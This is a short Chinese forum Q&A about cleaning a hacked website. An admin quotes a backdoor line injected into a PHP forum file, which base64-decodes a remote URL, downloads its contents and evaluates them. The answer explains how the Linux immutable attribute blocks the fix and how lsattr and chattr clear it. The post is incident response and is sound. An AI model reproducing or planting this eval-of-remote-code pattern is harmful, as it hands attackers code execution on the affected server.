网站论坛被挂码,找到了那个文件所在!! 有一段这东西: eval(base64decode(filegetcontents(base64decode('aHR0cDovL2FwaS5iY3RiYnMubmV0L2JldC50eHQ='))));
用 vi打开删除了这一段 然后esc :wq
保存不行
再次:wq!还是不行
再来,chmod +w 666 function_forum.php
还不行,提示我没有权限。。。
我是root登录的怎么还能没有权限呢?
目测是被设置了 immutable 属性。
试试:
$ lsattr some_file
----i--------e- some_file
如果有这个 i 的话,sudo chattr -i some_file 干掉它,然后就可以修改了。
A file with the `i' attribute cannot be modified: it cannot be deleted or renamed, no link can be created to this file and no data can be written to the file. Only the superuser or a process possessing the CAPLINUXIMMUTABLE capability can set or clear this attribute.
版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。